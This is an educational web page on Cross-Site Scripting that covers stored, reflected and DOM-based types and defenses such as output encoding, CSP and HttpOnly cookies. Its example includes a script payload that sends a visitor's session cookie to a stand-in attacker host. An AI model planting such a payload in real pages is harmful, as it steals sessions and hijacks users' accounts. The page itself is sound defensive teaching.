Cross-Site Scripting (XSS)

 

Cross-Site Scripting (XSS): Types, Examples, and How to Fix It

Cross-Site Scripting (XSS) happens when an application allows an attacker to inject JavaScript that runs in another user’s browser. Unlike SQL Injection, which targets the database, XSS targets the people using the application — their sessions, their browsers, and anything the page has access to.

The Three Main Types

  • Stored XSS — malicious script is saved on the server (e.g. in a comment or profile field) and served to every user who views that content. The most dangerous type, since it hits many victims automatically.
  • Reflected XSS — the script comes from the current request (like a URL parameter) and is immediately reflected back into the page without being stored. Usually requires tricking a victim into clicking a crafted link.
  • DOM-based XSS — the vulnerability lives entirely in client-side JavaScript that unsafely handles user-controllable data, without the server ever seeing the malicious payload.

A Simple Example

Say a comment box outputs user input directly into the page’s HTML:

<div>Comment: {{ user_comment }}</div>

If an attacker submits <script>fetch('https://evil.com/steal?c='+document.cookie)</script> as their comment, and the page renders it unescaped, that script runs in every visitor’s browser — silently sending their session cookie to the attacker.

What an Attacker Can Do With XSS

  • Steal session cookies and hijack accounts
  • Log keystrokes or capture form data in real time
  • Redirect users to phishing pages
  • Perform actions on the victim’s behalf (post messages, change settings, transfer funds on vulnerable sites)

How Defenders Fix It

  • Output encoding — escape user-controlled data before rendering it into HTML, so <script> becomes harmless text instead of executable code
  • Content Security Policy (CSP) — an HTTP header that restricts which scripts are allowed to run at all, blocking inline injected scripts even if one slips through
  • Modern frameworks (React, Vue, Angular) auto-escape output by default — most XSS in modern apps happens when developers explicitly bypass this (like React’s dangerouslySetInnerHTML)
  • HttpOnly cookies — prevents JavaScript from reading session cookies at all, limiting damage even if XSS occurs

Key takeaway: XSS is fundamentally about trust between the browser and the content it renders. Every place user input reaches the page — comments, profile fields, URL parameters — is a potential injection point, and needs to be treated as untrusted by default

Cross-Site Scripting - Cross-Site Scripting (XSS): Types, Risks and Best Defenses
Scroll to Top